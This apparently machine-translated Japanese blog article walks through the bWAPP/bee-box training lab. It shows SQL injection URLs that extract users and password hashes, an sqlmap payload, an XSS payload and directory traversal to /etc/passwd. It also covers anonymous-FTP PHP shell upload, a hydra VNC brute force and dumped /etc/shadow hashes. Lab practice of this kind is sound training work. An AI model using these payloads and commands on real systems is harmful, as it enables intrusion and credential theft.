例としてbWAPPを使用したOWASP Top-10 Web脆弱性テストプラットフォームの概要

こんにちは、Habr!



この記事では、OWASP Top-10の分類によると、bWAPPの例を使用したWebアプリケーションの脆弱性(読者だけでなく)を理解することをお勧めします。



画像







簡単な教育プログラム:



Open Web Application Security Project(OWASP)は、オープンソースのWebアプリケーションセキュリティプロジェクトです。 OWASPコミュニティには、世界中の企業、教育機関、個人が含まれます。 コミュニティは、自由にアクセスできる記事、マニュアル、ドキュメント、ツール、テクノロジーの作成に取り組んでいます。 10年間、プロジェクト参加者は、すべてのWeb開発者の注意を引き付けようとして、Webアプリケーションの最も危険な上位10の脆弱性のリストを作成してきました。



トップ10自体は次のようになります









A1コードインジェクション

A2不正な認証とセッション管理

A3クロスサイトスクリプティング(XSS)

A4安全でない直接オブジェクト参照

A5安全でない構成

A6機密データの漏洩

A7機能レベルへのアクセス制御の欠如

A8クロスサイトリクエストフォージェリ(CSRF)

A9既知の脆弱性を持つコンポーネントの使用

A10資格のないリダイレクト



評価は、有病率だけでなく、脅威の危険性も反映しています。



バギーWebアプリケーション(bWAPP)は、オープンソースの無料ダウンロードWebアプリケーションです。 OWASPのトップ10に従って分類された約100の脆弱性を含むという点で、他の製品と区別されます。 Webアプリケーションの脆弱性だけでなく、検索および悪用するように設計されています。

投稿者bWAPP-Malik Mesellem( 彼のブログ



画像



これは、MYSQLを使用したPHPアプリケーションです。 Windows / Linux、WAMPおよびXAMPPに展開できます。 また、記事で使用される完全に準備された蜂箱仮想マシンもあります。



bWAPPで遭遇する脆弱性のリスト:
  • SQL、HTML、iFrame、SSI、OSコマンド、XML、XPath、LDAPおよびSMTPインジェクション
  • ブラインドSQLおよびブラインドOSコマンドインジェクション
  • Bash Shellshock(CGI)およびHeartbleedの脆弱性(OpenSSL)
  • クロスサイトスクリプティング(XSS)およびクロスサイトトレース(XST)
  • クロスサイトリクエストフォージェリ(CSRF)
  • AJAXおよびWebサービスの脆弱性(JSON / XML / SOAP / WSDL)
  • 悪意のある無制限のファイルのアップロードとバックドアファイル
  • 認証、許可、およびセッション管理の問題
  • 任意のファイルアクセスとディレクトリトラバーサル
  • ローカルおよびリモートのファイルの包含(LFI / RFI)
  • 構成の問題:Man-in-the-Middle、クロスドメインポリシーファイル、情報開示、...
  • HTTPパラメーターの汚染とHTTP応答の分割
  • サービス拒否(DoS)攻撃:HTTPおよびXMLエンティティの拡張が遅い
  • 安全でないdistcc、FTP、NTP、Samba、SNMP、VNC、WebDAV構成
  • HTML5 ClickJacking、クロスオリジンリソースシェアリング(CORS)およびWebストレージの問題
  • 未検証のリダイレクトと転送、およびCookieポイズニング
  • Cookieポイズニングと安全でない暗号化ストレージ
  • サーバー側リクエスト偽造(SSRF)
  • XML外部エンティティ攻撃(XXE)






記事であなたを待っているもの





記事の対象者





要件





記事の目的





警告!


記事に含まれないもの

1.何かの照明設定エラー-バグの性質の説明はありません。

2.ペンテストに役立つプログラムを確認します。



考慮される脆弱性は、記事の説明/場所を簡単にするために特に選択されています

サポート記事/ソフトウェア/への参照は、記事の最後に記載されています。



SQLインジェクション



SQLインジェクションを選択(GET /検索)



映画を選択するためのページが開きます。 さて、幸福を試してみましょう-ハルクを紹介します。







引用を置き換えると、エラーが発生します。

http://192.168.1.18/bWAPP/sqli_1.php?title=hulk&action=search
      
      





テクニックによる順序を使用し、列の数を選択します。

 http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20order%20by%2010%20--%20&action=search
      
      





7に等しい:

 http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20order%20by%207%20--%20&action=search
      
      





次に、ユニオンを使用します。

 http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20union%20select%201,2,3,4,5,6,7%20from%20users%20--%20&action=search
      
      





列番号を取得します。





データベースの名前、ユーザー、パスワードハッシュを取得します。

 http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%27%20union%20select%201,database%28%29,user%28%29,4,password,6,7%20from%20users%20--%20&action=search
      
      









SQLインジェクション(POST /検索)



/bWAPP/sqli_6.phpを開き、Hulkと入力します。バグはありますが、アドレスバーは役に立ちませんか? BurpsuiteとSqlmapが役立ちます:

burpsuiteで、リクエストを開きます。





エラーが発生しました。見積を削除し、「リクエスト」フィールドを.txtファイルに保存してください。

sqlmapを開き、コマンドを実行します。

 sqlmap -r sql.txt
      
      









たとえば、プログラムが提供するものを次のように置き換えることで、sqlmapを確認できます。

 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: title=hulk%' AND (SELECT 2135 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0x7162767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search
      
      





アドレスバーのペイロードを置き換えるだけです:

 http://192.168.1.18/bWAPP/sqli_1.php?title=hulk%' AND (SELECT 2135 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0x7162767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search
      
      





これにより、トークンが取得されます。これは、タスクが完了したことを意味します。







または、XSSに興味がありますか?



すべての味のためにそれらがたくさんあります。



XSSを選択-反映(GET)



代用
 <script>alert(1);</script>
      
      













他の人のファイルを読むだけですか?





オープンディレクトリトラバーサル-ファイル

 http://192.168.1.18/bWAPP/directory_traversal_1.php?page=message.txt
      
      







/ etc / passwdに置き換えてみましょう:





オープンディレクトリトラバーサル-ディレクトリ

 http://192.168.1.18/bWAPP/directory_traversal_2.php?directory=documents
      
      







リストを読む/ etc /:





ブラックボックステスト



pentestのboot2rootイメージのファンとして(bWAPPに行ったのとまったく同じ方法です)、Webなしでテストすることを、少し説明しながらお見せしたいと思います。



nmapでターゲットをスキャンします。



 Nmap scan report for bee-box (192.168.1.18) Host is up (0.0050s latency). Not shown: 983 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 25/tcp open smtp 80/tcp open http 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 666/tcp open doom 3306/tcp open mysql 5901/tcp open vnc-1 6001/tcp open X11:1 8080/tcp open http-proxy 8443/tcp open https-alt 9080/tcp open glrpc
      
      







Niktoスキャナーの結果はありません(自分でスキャンすることをお勧めします )。この記事の範囲により、FTPおよびVNCサービスの解析に制限されます。



FTP


Dirbusterを使用します。



 Dir found: /phpmyadmin/ - 200 Dir found: /evil/ - 200 Dir found: /webdav/ - 200 File found: /webdav/Iron_Man.pdf - 200 File found: /webdav/Terminator_Salvation.pdf - 200 File found: /webdav/The_Amazing_Spider-Man.pdf - 200 File found: /webdav/The_Cabin_in_the_Woods.pdf - 200 File found: /webdav/The_Dark_Knight_Rises.pdf - 200 File found: /webdav/The_Incredible_Hulk.pdf - 200 File found: /webdav/bWAPP_intro.pdf - 200
      
      







その間

 nmap --script=ftp*
      
      





報告する:



 PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.1 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-rw-r-- 1 root www-data 543803 Nov 2 22:52 Iron_Man.pdf | -rw-rw-r-- 1 root www-data 462949 Nov 2 22:52 Terminator_Salvation.pdf | -rw-rw-r-- 1 root www-data 544600 Nov 2 22:52 The_Amazing_Spider-Man.pdf | -rw-rw-r-- 1 root www-data 526187 Nov 2 22:52 The_Cabin_in_the_Woods.pdf | -rw-rw-r-- 1 root www-data 756522 Nov 2 22:52 The_Dark_Knight_Rises.pdf | -rw-rw-r-- 1 root www-data 618117 Nov 2 22:52 The_Incredible_Hulk.pdf |_-rw-rw-r-- 1 root www-data 5010042 Nov 2 22:52 bWAPP_intro.pdf
      
      







これら2つの結果を分析すると、ftpフォルダー(別名/ webdav / )はhttp経由でアクセスできることがわかります。

そのため、PHPシェルをアップロードします。







匿名アクセス、アップロード、http経由のftp、さらに何が必要ですか? :)







私たちのシェル。



Vnc




192.168.1.18:5901に接続しようとしています







では、ヒドラを使用しましょう。



 hydra -P /wordlist/pass.txt -s 5901 192.168.1.18 vnc
      
      











接続してください... tadam! 予想外ですが、これらはルート権限です。

ルートになったら、 / etc / shadowを見てください



 root:$1$6.aigTP1$FC1TuoITEYSQwRV0hi6gj/:15792:0:99999:7::: bee:$1$tJB0ndAJ$0d42BkRQ7vebj/bE5RdQH1:15792:0:99999:7::: neo:$1$fSorv0ad$56lfF9qd8o4caaSB6dVqi/:15897:0:99999:7::: alice:$1$yRUOVrYB$9f4TMaym/xOSeGbmsgFGI/:15897:0:99999:7::: thor:$1$Iy6Mvuaz$FzcNXTQ668kDD5LY.ObdL/:15897:0:99999:7::: wolverine:$1$PUGlrXi8$oXOwDBaAzxtgXh10Xkw9i/:15897:0:99999:7::: johnny:$1$uqzKnduQ$MPxhWXcf2FFQarhO95d5y/:15897:0:99999:7::: selene:$1$BHZLob3h$mru35IhZzRdnfTHOADrkJ0:15897:0:99999:7:::
      
      







hashcatを使用してパスワードを選択します。





ここにそのようなキャッチがあります。



おわりに



Bee-boxは、 boot2rootイメージでの通常の書き込みを少し超えています。 その中で、誰もが長い間試して、学び、見つけたいと思っていたものを見つけることができます。

記事は混oticとしたものでしたが、私の意見では、読者にテストプラットフォームを紹介することが目的だったため、私は仕事を果たしました。





参照資料



投稿者bWAPP-Malik Mesellem( 彼のブログ

トップ10 OWASP自体

BeLoveの豊富な特集記事

同じくBeLoveからのPentest ユーティリティの2番目の選択

作成g0tmi1k- boot2rootイメージが収集されるサイト



アーカイブ内の仮想マシンへのリンク5 GB



ご清聴ありがとうございました。 ご質問にお答えします。



All Articles